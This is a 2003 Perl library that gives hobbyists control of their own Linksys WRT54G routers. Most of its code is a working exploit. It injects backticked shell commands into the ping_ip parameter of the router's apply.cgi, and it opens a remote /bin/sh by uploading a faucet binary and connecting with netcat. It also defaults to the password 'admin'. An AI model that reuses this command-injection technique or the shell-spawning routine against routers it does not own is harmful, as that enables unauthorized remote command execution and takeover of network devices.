package WRT54G; =head1 NAME WRT54G - Linksys(tm) wireless router hacking library =head1 SYNOPSIS # Connect to router use WRT54G; my $router = WRT54G->new( ip_addr => '10.10.10.1', password => 'foo!', ttcp_binary => '/usr/bin/nttcp', mips_faucet_binary => '/tmp/faucet', netcat_binary => '/bin/nc', ); # Send a file $router->send_file( filename => '/home/cjcollier/cjcollier.html', subdir => 'resumes', is_text => 1, ); # Get router status my %status = $router->get_status(); # Execute a command $router->exec_command( 'ls /tmp > /dev/null' ); # Get a shell $router->get_shell(); =head1 ABSTRACT This perl library allows you to access your WRT54G and perform some interesting hacks with it. =head2 Calling WRT54G Methods WRT54G methods are called with key/value pairs. If you forget to pass a required argument, you'll hear from the program at runtime. =cut use strict; use HTTP::Request::Common; use LWP::UserAgent; use URI::Escape; use File::Basename; # Creates a new instance of the WRT54G class # accepts a hash as artuments, keys being any or none the following: # ip_addr # password # ttcp_binary # mips_faucet_binary # netcat_binary # returns the class instance =head2 Instantiating an Object To create a wrt54g object, call WRT54G->new() and pass the configuration arguments for your router: my $router = WRT54G->new( ip_addr => '10.10.10.1', password => 'foo!', ttcp_binary => '/usr/bin/nttcp', mips_faucet_binary => '/tmp/faucet', netcat_binary => '/bin/nc', ); =cut sub new { my $class = shift; my %params = @_; my %config = ( ip_addr => "192.168.1.1", password => "admin", ttcp_binary => "", mips_faucet_binary => "", netcat_binary => "", dirs => {}, ); foreach my $param_name (keys %config){ if (exists $params{$param_name} && defined $params{$param_name}){ $config{$param_name} = $params{$param_name} } } foreach my $filename (qw( ttcp_binary mips_faucet_binary netcat_binary )){ die "$filename ($params{$filename}) does not exist!" unless -f $params{$filename}; } $config{ping_url} = "http://$config{ip_addr}/apply.cgi"; $config{ua} = new LWP::UserAgent; return bless {%config}, $class; } =head2 Sending files to your router To send files to your router, call the C subroutine. This sub requires a 'filename' argument and can take a 'subdirectory' argument, which it will use to create the directory structure that 'filename' will be sent to. C will also take a 'ttcp_binary' argument, which it will use to locate the ttcp binary on your local system. If this argument is sent, it will over-write the default argument you may have sent to C. As of version 0.0.7, you can pass an C argument to C. If this argument evaluates to true, this replaces any \r\n occurances (DOS newlines) with \n. $router->send_file( filename => '/tmp/foo', subdirectory => 'incoming', is_text => 1, ttcp_binary => '/usr/bin/nttcp', ); =cut sub send_file { my $self = shift; my %args = @_; my %bins; if($args{'ttcp_binary'}){ $bins{'ttcp_binary'} = $args{'ttcp_binary'}; $self->{'ttcp_binary'} = $args{'ttcp_binary'}; }elsif($self->{'ttcp_binary'}){ $bins{'ttcp_binary'} = $self->{'ttcp_binary'}; }else{ die "No ttcp_binary location supplied!\n"; } die "Incoming filename not specified" unless (exists $args{filename} && defined $args{filename}); die "File '$args{filename}' doesn't exist" unless -f $args{filename}; my $out_filename = basename($args{filename}); my $out_path; if( $args{subdir} && !exists $self->{dirs}->{$args{subdir}} ){ $self->exec_command("mkdir -p /tmp/$args{subdir}"); $out_path = "/tmp/$args{subdir}/$out_filename"; $self->{dirs}->{$args{subdir}} = 1; }else{ $out_path = "/tmp/$out_filename"; } my(@content, $head, $content); open(FILE, "<$args{filename}"); @content = ; close(FILE); $head = $content[0]; $content = join('', @content); # Get rid of those stupid dos newlines if($args{is_text}){ $content =~ s:\r\n:\n:g; } #check for #!/bin/sh and correct if found if($head =~ m:^#!(.*)/sh$: && $1 ne "/tmp/dist/bin"){ my $dir = $1; print("Correcting misdirected SheBang: $1 -> /tmp/dist/bin\n"); $content =~ s:^#!$dir:#!/tmp/dist/bin/:; } my $tmpfile = "/tmp/out$$"; open(OUT, ">$tmpfile"); print OUT $content; close OUT; $args{filename} = $tmpfile; # exec_command doesn't work on long commands, so we'll shorten it by # naming a shorter name and then moving it where we want it. $self->exec_command("/usr/sbin/epi_ttcp -r -p 10 > /tmp/in 2> /dev/null"); system("$bins{ttcp_binary} -t -p 10 $self->{ip_addr} < $args{filename} > /dev/null 2>&1"); unlink($tmpfile); $self->exec_command("mv /tmp/in $out_path"); return $out_path; } =head2 Getting a shell on your WRT54G You can get a shell on your router with the C method. This method accepts zero to three arguments: =over 4 =item * faucet_port choose which port faucet operates on. Defaults to 99. =item * netcat_binary tell C where your local copy of nc is. This option will over-write the option of the same name, which you may have set in the call to C. =item * mips_faucet_binary tell C where your mips-compiled faucet binary is. This option will over-write the option of the same name, which you may have set in the call to C. =back This method exec()'s nc to get a shell, so this will be the last function your program calls. $router->get_shell( faucet_port => '1029', netcat_binary => '/bin/nc', mips_faucet_binary => '/tmp/faucet', ); =cut sub get_shell { my $self = shift; my %args = @_; my $faucet_port = $args{faucet_port} if exists $args{faucet_port}; $faucet_port = 99 unless $faucet_port; # Send the faucet binary to the WRT54G my $mips_faucet_binary; my %bins; foreach my $bin (qw(mips_faucet_binary netcat_binary)){ if($args{$bin}){ $bins{$bin} = $args{$bin}; $self->{$bin} = $args{$bin}; }elsif($self->{$bin}){ $bins{$bin} = $self->{$bin}; }else{ die "No $bin location supplied!\n"; } } my $faucet_remote = $self->send_file(filename => $bins{mips_faucet_binary}); # make faucet executable $self->exec_command("chmod a+x $faucet_remote"); # execute the shell and listen on port $faucet_port $self->exec_command("$faucet_remote $faucet_port -ioe /bin/sh"); # exec netcat and start the shell! print("Connecting to shell server...\n"); exec("$self->{netcat_binary} $self->{ip_addr} $faucet_port"); } =head2 Executing arbitrary commands In addition to providing a way to get a shell on your WRT54G, this library offers a way to execute arbitrary commands. To do so, use the C method: $router->exec_command('cat /bin/bash > /dev/null'); =cut sub cb { my ($data, $res, $protocol) = @_; unless($res->is_success){ print($res->request->uri(), ":\nUnsuccessful: ", $res->status_line, "\n"); } } sub exec_command { my $self = shift; my $command = shift; my $req = GET("$self->{ping_url}?submit_button=Ping&submit_type=start&action=Apply&change_action=gozila_cgi&ping_ip=".uri_escape("`$command`")."&ping_times=5"); $req->authorization_basic('',$self->{password}); my $res = $self->{ua}->request($req, \&cb); } =head2 Getting Router Status This method scrapes Status.asp for information about your router's interfaces and returns them in a hash formatted thus: %status = $router->get_status(); %status = ( 'inet' => { 'MAC Address' => '00:00:00:00:00:00', 'Subnet Mask' => '255.255.255.0', 'IP Address' => '172.0.0.18', 'Default Gateway' => '172.0.0.1', 'DNS' => [ '172.16.19.5', '172.16.19.1', '0.0.0.0' ] }, 'wan' => { 'MAC Address' => '00:00:00:00:00:00', 'Encryption Function' => 'Disabled', 'SSID' => 'viceroy-g', 'Channel' => '6', 'Mode' => 'Mixed' }, 'lan' => { 'MAC Address' => '00:00:00:00:00:00', 'DHCP server' => 'Enabled', 'Subnet Mask' => '255.255.255.0', 'IP Address' => '192.168.1.1', 'Start IP Address' => '192.168.1.100', 'End IP Address' => '192.168.1.150' } ); =cut sub get_status { my $self = shift; my %status = ( lan => {}, wan => {}, inet => {} ); my %unparsed; my $req = GET "http://$self->{ip_addr}/Status.asp"; $req->authorization_basic('',$self->{password}); my $res = $self->{ua}->request($req); unless($res->is_success){ print($res->request->uri(), ":\nUnsuccessful: ", $res->status_line, "\n"); } my $page = $res->as_string; $page =~ /(.+)/ms; $unparsed{lan} = $1; $page =~ m:(.+\s+?):msi; $unparsed{wan} = $1; $page =~ m:$unparsed{wan}(.+?\s+):msi; $unparsed{inet} = $1; foreach my $interface (qw(lan wan inet)){ my @fields = ($unparsed{$interface} =~ m|\s+.+?(.+?):\s+(.+?)|gmsi); push(@fields, ($unparsed{$interface} =~ m|(MAC Address):\s(.+?)|gmsi) ); foreach(@fields){ $_ =~ s/\s+/ /g; } $status{$interface} = {@fields} } if($status{lan}->{'DHCP server'} eq "Enabled"){ $status{lan}->{'End IP Address'} =~ /prefix = "(.+?)".+?start = (\d+);.+?num = (\d+)/msi; my($prefix, $start, $num) = ($1, $2, $3); $status{lan}->{'End IP Address'} = $prefix . ($start + $num); } $status{inet}->{DNS} = [ split(/
/i, $status{inet}->{DNS}) ]; return %status; } 1; __END__ =head1 AUTHOR C.J. Collier lives in Seattle and is, among other things, a business owner, apartment manager, geek, n'er do well, and expectant father (2003-09-09). =head1 THANKS Gerry Rozema - basis for start_telnet - compilation of mips busybox - compilation of telnetd Rob Flickenger - Idea for executing shell commands through Ping.asp - compilation of mips faucet binary - nocatsplash implementation - push_splash Oscar Murillo - INSTALL.es Spanish translation. Yay! Bruno Vidal - Install.fr French translation. Yay! Ross Jordan - suggesting ttcp as a file transfer tool Matt Westervelt - suggestion to make put_file Some guy going by the name 'tmp' - Essential code hacks Jim Buzbee - Idea for building push_dist - competition Mike Baker - Kernel modules compilation - strace compilation =head1 SEE ALSO =over 4 =item * http://www.seattlewireless.net/index.cgi/LinksysWrt54g The Seattle Wireless' page'o'hacks for this device =item * http://www.seattlewireless.net/index.cgi/Wrt54gTools The Seattle Wireless Wiki entry for this package, specifically =item * http://cj.colliertech.org/swn The current repository for wrt54g_tools =item * irc://irc.freenode.org/wrt54g The "Official" IRC channel for this package =back =head1 COPYRIGHT (c) Copyright 2003, C.J. Collier. All Rights Reserved. This program is free software. You may copy or redistribute it under the terms of the GPL. =cut